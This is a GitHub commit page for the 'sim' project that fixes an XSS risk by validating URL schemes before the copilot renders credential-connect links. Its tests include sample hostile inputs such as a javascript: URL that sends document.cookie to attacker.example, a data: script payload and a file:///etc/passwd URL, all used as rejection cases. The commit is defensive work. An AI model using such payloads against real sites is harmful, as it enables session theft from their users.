Skip to content

Commit 04432b6

Browse files
authored
fix(copilot): validate credential-link URL scheme before rendering (#5416)
* fix(copilot): validate credential-link URL scheme before rendering Only render the credential connect link as a clickable anchor when its value resolves to an http(s) URL, reusing the isSafeHttpUrl helper already used for chat file links. * refactor(copilot): move isSafeHttpUrl to shared lib/core/utils/urls Per Greptile's convention feedback: isSafeHttpUrl was consumed by both chat and workspace/home but defined inside a feature-specific 'use client' component. Move it alongside getBrowserOrigin (which it already depends on) in lib/core/utils/urls.ts, matching this repo's shared-utility rule.
1 parent acf4afb commit 04432b6

6 files changed

Lines changed: 144 additions & 74 deletions

File tree

apps/sim/app/(interfaces)/chat/components/message/components/file-download.test.tsx

Lines changed: 0 additions & 58 deletions
This file was deleted.

apps/sim/app/(interfaces)/chat/components/message/components/file-download.tsx

Lines changed: 1 addition & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ import { createLogger } from '@sim/logger'
66
import { sleep } from '@sim/utils/helpers'
77
import { Music } from 'lucide-react'
88
import { DefaultFileIcon, getDocumentIcon } from '@/components/icons/document-icons'
9-
import { getBrowserOrigin } from '@/lib/core/utils/urls'
9+
import { isSafeHttpUrl } from '@/lib/core/utils/urls'
1010
import type { ChatFile } from '@/app/(interfaces)/chat/components/message/message'
1111

1212
const logger = createLogger('ChatFileDownload')
@@ -54,21 +54,6 @@ function getFileUrl(file: ChatFile): string {
5454
return `/api/files/serve/${encodeURIComponent(file.key)}?context=${file.context || 'execution'}`
5555
}
5656

57-
/**
58-
* Validates that a URL uses an http(s) scheme before it is opened in a new window.
59-
* Rejects `javascript:`, `data:`, `blob:`, `vbscript:`, and other schemes that could
60-
* execute script in the chat origin, since `file.url` originates from untrusted
61-
* workflow/agent output.
62-
*/
63-
export function isSafeHttpUrl(url: string): boolean {
64-
try {
65-
const parsed = new URL(url, getBrowserOrigin() ?? undefined)
66-
return parsed.protocol === 'http:' || parsed.protocol === 'https:'
67-
} catch {
68-
return false
69-
}
70-
}
71-
7257
async function triggerDownload(url: string, filename: string): Promise<void> {
7358
const response = await fetch(url)
7459
if (!response.ok) {
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
/**
2+
* @vitest-environment jsdom
3+
*/
4+
import { act } from 'react'
5+
import { createRoot, type Root } from 'react-dom/client'
6+
import { beforeEach, describe, expect, it, vi } from 'vitest'
7+
8+
const { mockUseUserPermissionsContext } = vi.hoisted(() => ({
9+
mockUseUserPermissionsContext: vi.fn(),
10+
}))
11+
12+
vi.mock('@/app/workspace/[workspaceId]/providers/workspace-permissions-provider', () => ({
13+
useUserPermissionsContext: mockUseUserPermissionsContext,
14+
}))
15+
16+
vi.mock('next/navigation', () => ({
17+
useParams: () => ({ workspaceId: 'workspace-1' }),
18+
}))
19+
20+
import type { CredentialTagData } from '@/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags'
21+
import { SpecialTags } from '@/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags'
22+
23+
/**
24+
* Minimal dependency-free render harness (the repo has no `@testing-library/react`). Mounts the
25+
* component in a real React 19 root under jsdom, matching the pattern in `use-autosave.test.tsx`.
26+
*/
27+
function renderCredentialLink(data: CredentialTagData): { container: HTMLDivElement; root: Root } {
28+
;(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true
29+
const container = document.createElement('div')
30+
const root: Root = createRoot(container)
31+
act(() => {
32+
root.render(<SpecialTags segment={{ type: 'credential', data }} />)
33+
})
34+
return { container, root }
35+
}
36+
37+
describe('CredentialDisplay link tag', () => {
38+
beforeEach(() => {
39+
vi.clearAllMocks()
40+
mockUseUserPermissionsContext.mockReturnValue({ canEdit: true })
41+
})
42+
43+
it('does not render an anchor for a javascript: scheme value', () => {
44+
const { container, root } = renderCredentialLink({
45+
type: 'link',
46+
provider: 'github',
47+
value: 'javascript:alert(1)',
48+
})
49+
50+
expect(container.querySelector('a')).toBeNull()
51+
act(() => root.unmount())
52+
})
53+
54+
it('does not render an anchor for a data: scheme value', () => {
55+
const { container, root } = renderCredentialLink({
56+
type: 'link',
57+
provider: 'github',
58+
value: 'data:text/html,<script>alert(1)</script>',
59+
})
60+
61+
expect(container.querySelector('a')).toBeNull()
62+
act(() => root.unmount())
63+
})
64+
65+
it('renders a working link for a real http(s) connect URL', () => {
66+
const url = 'https://github.com/login/oauth/authorize?client_id=abc&scope=repo'
67+
const { container, root } = renderCredentialLink({
68+
type: 'link',
69+
provider: 'github',
70+
value: url,
71+
})
72+
73+
const link = container.querySelector('a')
74+
expect(link).not.toBeNull()
75+
expect(link?.getAttribute('href')).toBe(url)
76+
expect(container.textContent).toContain('Connect github')
77+
act(() => root.unmount())
78+
})
79+
80+
it('renders nothing when the user cannot edit, regardless of URL safety', () => {
81+
mockUseUserPermissionsContext.mockReturnValue({ canEdit: false })
82+
const { container, root } = renderCredentialLink({
83+
type: 'link',
84+
provider: 'github',
85+
value: 'https://github.com/login/oauth/authorize',
86+
})
87+
88+
expect(container.querySelector('a')).toBeNull()
89+
act(() => root.unmount())
90+
})
91+
})

apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.tsx

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@ import {
1515
} from '@sim/emcn'
1616
import { useParams } from 'next/navigation'
1717
import { canonicalWorkspaceFilePath } from '@/lib/copilot/vfs/path-utils'
18+
import { isSafeHttpUrl } from '@/lib/core/utils/urls'
1819
import { OAUTH_PROVIDERS } from '@/lib/oauth/oauth'
1920
import { ContextMentionIcon } from '@/app/workspace/[workspaceId]/home/components/context-mention-icon'
2021
import type {
@@ -754,6 +755,9 @@ function CredentialDisplay({ data }: { data: CredentialTagData }) {
754755
if (data.type === 'link') {
755756
// Connecting a credential mutates the workspace — hide it from read-only members.
756757
if (!data.provider || !canEdit) return null
758+
// The connect link value comes from the streamed model output, so only
759+
// render it as a clickable link when it resolves to a real http(s) URL.
760+
if (!data.value || !isSafeHttpUrl(data.value)) return null
757761
const Icon = getCredentialIcon(data.provider) ?? LockIcon
758762
return (
759763
<a

apps/sim/lib/core/utils/urls.test.ts

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,7 @@ import {
2020
getBrowserOrigin,
2121
getSocketUrl,
2222
isLocalhostUrl,
23+
isSafeHttpUrl,
2324
parseOriginList,
2425
} from '@/lib/core/utils/urls'
2526

@@ -133,3 +134,35 @@ describe('isLocalhostUrl', () => {
133134
expect(isLocalhostUrl('')).toBe(false)
134135
})
135136
})
137+
138+
describe('isSafeHttpUrl', () => {
139+
it('allows absolute http(s) URLs', () => {
140+
expect(isSafeHttpUrl('https://example.com/file.pdf')).toBe(true)
141+
expect(isSafeHttpUrl('http://example.com/file.pdf')).toBe(true)
142+
})
143+
144+
it('allows same-origin relative URLs (resolved against the browser origin)', () => {
145+
expect(isSafeHttpUrl('/api/files/serve/abc?context=execution')).toBe(true)
146+
})
147+
148+
it('rejects javascript: URLs', () => {
149+
expect(isSafeHttpUrl("javascript:fetch('//attacker.example/c?'+document.cookie)")).toBe(false)
150+
expect(isSafeHttpUrl('JavaScript:alert(1)')).toBe(false)
151+
})
152+
153+
it('rejects other script-capable or non-navigable schemes', () => {
154+
expect(isSafeHttpUrl('data:text/html,<script>alert(1)</script>')).toBe(false)
155+
expect(isSafeHttpUrl('vbscript:msgbox(1)')).toBe(false)
156+
expect(isSafeHttpUrl('blob:https://example.com/uuid')).toBe(false)
157+
expect(isSafeHttpUrl('file:///etc/passwd')).toBe(false)
158+
})
159+
160+
it('treats relative junk as same-origin http (safe) rather than throwing', () => {
161+
expect(isSafeHttpUrl('')).toBe(true)
162+
expect(isSafeHttpUrl('not a url')).toBe(true)
163+
})
164+
165+
it('rejects unparseable absolute input without throwing', () => {
166+
expect(isSafeHttpUrl('http://')).toBe(false)
167+
})
168+
})

apps/sim/lib/core/utils/urls.ts

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -169,6 +169,21 @@ export function getBrowserOrigin(): string | null {
169169
return typeof window !== 'undefined' ? window.location.origin : null
170170
}
171171

172+
/**
173+
* Validates that a URL uses an http(s) scheme before it is opened in a new window.
174+
* Rejects `javascript:`, `data:`, `blob:`, `vbscript:`, and other schemes that could
175+
* execute script in the chat origin, since `file.url` originates from untrusted
176+
* workflow/agent output.
177+
*/
178+
export function isSafeHttpUrl(url: string): boolean {
179+
try {
180+
const parsed = new URL(url, getBrowserOrigin() ?? undefined)
181+
return parsed.protocol === 'http:' || parsed.protocol === 'https:'
182+
} catch {
183+
return false
184+
}
185+
}
186+
172187
/**
173188
* Returns the socket server URL for server-side internal API calls.
174189
* Reads from SOCKET_SERVER_URL with a localhost fallback for development.

0 commit comments

Comments
 (0)